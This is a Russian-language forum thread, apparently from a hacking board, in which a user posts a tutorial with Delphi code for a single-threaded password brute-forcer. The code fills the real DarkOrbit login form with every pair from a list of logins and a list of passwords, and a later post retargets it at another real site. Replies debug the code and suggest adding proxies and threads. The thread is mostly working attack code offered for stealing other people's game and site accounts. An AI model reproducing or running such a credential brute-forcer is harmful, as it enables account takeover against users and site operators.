[Статья] делаем простенький брутер

[[Na`Vi]DendI]

И так хочу сразу предупредить брутер будет у нас однопоточный и без прокси.
В данном примере я покажу как сделать брутер для браузерной игры "DarkOrbit"([Ссылки могут видеть только зарегистрированные пользователи. ]).
Кидаем на форму 3 компонента button, 1 компонент TIdHTTP,1 компонент openDialog и memo.
Переименуем и роз формируем их так как у меня на скрине:
[Ссылки могут видеть только зарегистрированные пользователи. ]
в глобальных переменных напишем:

emails,pass:tstringlist; // список ников и паролей
j,i:integer;

Кастуем дабл клик на "LOGINS "
и пишем такой код:

begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
  if OpenDialog1.Execute then
begin
eMails.LoadFromFile(OpenDialog1.FileName);
end;

end;

Дальше 2 раза кликаем на кнопку "PASS"
и пишем такой код:

begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
  if OpenDialog1.Execute then
begin
Pass.LoadFromFile(OpenDialog1.FileName);
end;
end;

А теперь приступим к самому бруту !
Дабл клик на кнопку "Старт" и пишем вот такой код:

var
ssylka,result:string; //думаю тут все
post:tstringlist;         //понятно

begin
ssylka:='http://www.darkorbit.ru/?locale=ru&aid=0'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin  // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]); 
post.Add('loginForm_default_login_submit=Вход');
result:=form5.idhttp1.Post(ssylka,post); //присваиваем пост запрос 
if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j]));  выводим то что збрутили в memo
end;
end;
end;

Ну вот и все на этом брут готов,осталось добавить прокси и потоки и у вас полноценный брутер )

[D.E.Z.E.R.T.I.R]

Можно и без прокси, только тогда

for j:=0 to pass.Count-1 do

это первичный цикл, а в нем вложен

for i:=0 to emails.Count-1 do

[[Na`Vi]DendI]

Цитата: Сообщение от D.E.Z.E.R.T.I.R Можно и без прокси, только тогда for j:=0 to pass.Count-1 do это первичный цикл, а в нем вложен for i:=0 to emails.Count-1 do

Тогда уже проще зделать как сорс лист типо:

var
curacc:integer;
facc,fpas:string;
accounts:tstringlist;
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));

[D.E.Z.E.R.T.I.R]

Цитата: Сообщение от KsenomorFFF if pos('var menu_send',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили begin Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); //выводим то что збрутили в memo end;

а ты уверен, что не ошибся в этом условии?

[[Na`Vi]DendI]

Цитата: Сообщение от KsenomorFFF Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); //выводим то что збрутили в memo end;

I не добавляй и j не добавляй

[VeTaL_UA]

Цитата: Сообщение от KsenomorFFF emails,pass:tstringlist;

Они нигде не создаются, вот и выбивает ошибку.

[Skrillex3]

Цитата: Сообщение от KsenomorFFF procedure TBrute.Button1Click(Sender: TObject); begin OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName); if OpenDialog1.Execute then begin Memo2.lines.LoadFromFile(OpenDialog1.FileName); label3.Caption:=inttostr(Memo2.Lines.Count); emails.LoadFromFile(OpenDialog1.FileName); end;

где они у тебя тут создаются?

[[Na`Vi]DendI]

Цитата: Сообщение от KsenomorFFF напиши правильный код плиз

напиши 2 отдельные процедуры,1 процедура авторизации:

ssylka:='http://nowfilms.ru/index.php';
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('login_name='+emails[i]);
for j:=0 to pass.Count-1 do begin
post.Add('login_password='+pass[j]);
post.Add('login=submit');
result:=form1.idhttp1.Post(ssylka,post);
if pos('var menu_send',result)<>0 then
Synchronize(ShowResult);

а 2 процедура вывода сбрученого в мемо:

procedure ShowResult;
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j]));

у формы в onCreat поставь
emails:=tstringlist.Create;
pass:=tstringlist.Create;
тогда при нажатии на кнопку logins и pass ошибки не будет

[VeTaL_UA(1)]

Цитата: Сообщение от [Na`Vi]DendI у формы в onCreat поставь emails:=tstringlist.Create; pass:=tstringlist.Create; тогда при нажатии на кнопку logins и pass ошибки не будет

Плохой вариант.

В процедуре Button1Click в код условия добавь

emails:=TStringList.Create;

В процедуре Button2Click в код условия добавь

pass:=TStringList.Create;

В процедуре Button2Click в конец добавь

emails.Free;
pass.Free;

[[Na`Vi]DendI]

Цитата: Сообщение от VeTaL_UA(1) Плохой вариант. В процедуре Button1Click в код условия добавь emails:=TStringList.Create; В процедуре Button2Click в код условия добавь pass:=TStringList.Create; В процедуре Button2Click в конец добавь emails.Free; pass.Free;

а чем мой вариант хуже ??

[VeTaL_UA(1)]

Цитата: Сообщение от [Na`Vi]DendI а чем мой вариант хуже ??

Да тем, что он не верный. Стринглист вечно висит в памяти, а это не ок.

[[Na`Vi]DendI]

Цитата: Сообщение от VeTaL_UA(1) Да тем, что он не верный. Стринглист вечно висит в памяти, а это не ок.

Странно,у меня во всех моих программах стринглист в он крит,а чем он мешает если висит в памяти ?

[VeTaL_UA(1)]

Цитата: Сообщение от [Na`Vi]DendI чем он мешает если висит в памяти ?

не экономишь память же.

[[Na`Vi]DendI]

Цитата: Сообщение от VeTaL_UA(1) не экономишь память же.

Поставил только что на кнопки,и впрямь разница есть,а что делать с criticalSection на кнопку же не поставишь

[VeTaL_UA(1)]

Цитата: Сообщение от [Na`Vi]DendI criticalSection на кнопку же не поставишь

А на OnCreate поставишь?